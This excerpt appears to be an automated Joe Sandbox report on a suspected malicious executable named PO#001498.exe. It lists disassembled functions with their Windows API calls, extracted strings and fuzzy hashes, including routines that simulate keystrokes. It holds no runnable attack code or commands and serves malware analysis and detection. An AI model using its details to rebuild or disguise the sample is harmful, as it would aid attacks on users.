                                                                                                                                                                                                        • API String ID: 3832890014-468733193
                                                                                                                                                                                                        • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                                        • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                                                                                                                        Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                                                                        • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                                                                        • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                                                                        • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                                                                        • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                                                                        • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                                                                        • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                                                        • API String ID: 43541914-1568723262
                                                                                                                                                                                                        • Opcode ID: 14db4cabc5e1b0f67770c810f21e70b33e6c91423244c68acaef5aa9588cc2da
                                                                                                                                                                                                        • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 14db4cabc5e1b0f67770c810f21e70b33e6c91423244c68acaef5aa9588cc2da
                                                                                                                                                                                                        • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                                                                        Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                                                                                                                        • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                                                                                                                        • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecrementInterlocked$Sleep
                                                                                                                                                                                                        • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                                                                                                                        • API String ID: 2250217261-3412429629
                                                                                                                                                                                                        • Opcode ID: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                                                        • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                                                                                                                        Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                                                        • API String ID: 0-1603158881
                                                                                                                                                                                                        • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                                        • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                                                                                                                        Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                                                                        • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                                                                        • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                                                                        • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                                                                          • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                                                                          • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                                                                          • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                                                                        • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                                                                          • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                                                                        • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                                                        • API String ID: 665237470-60002521
                                                                                                                                                                                                        • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                                        • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                                                                        Function 00401D10 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 235COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                                                                                                                                        • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                                                                                                                        • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                                                                        • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                                                                        • String ID: close all$#v
                                                                                                                                                                                                        • API String ID: 4174999648-3101823635
                                                                                                                                                                                                        • Opcode ID: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                                                                                                                                        • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                                                                                                                        Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 535477410-2761332787
                                                                                                                                                                                                        • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                                        • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                                                                        Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0045F317
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                                                                        • IsMenu.USER32(?), ref: 0045F380
                                                                                                                                                                                                        • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                                                                        • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                                                                        • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                                                                        • String ID: 0$2
                                                                                                                                                                                                        • API String ID: 3311875123-3793063076
                                                                                                                                                                                                        • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                                        • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                                                                        Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\PO#001498.exe), ref: 0043719E
                                                                                                                                                                                                        • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                                                                        • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                                                                        • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                                                                        • _printf.LIBCMT ref: 004371EC
                                                                                                                                                                                                        • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                                                                        • C:\Users\user\Desktop\PO#001498.exe, xrefs: 00437189
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                                                                        • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                                        • API String ID: 220974073-505879535
                                                                                                                                                                                                        • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                                        • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                                                                        Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                                        • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                                                                                                                        Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                          • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                        • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 978794511-0
                                                                                                                                                                                                        • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                                        • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                                                                                                                        Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                                        • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                                                                                                                        Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                                                                          • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                                                                          • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                                                                        • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2014098862-0
                                                                                                                                                                                                        • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                                        • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
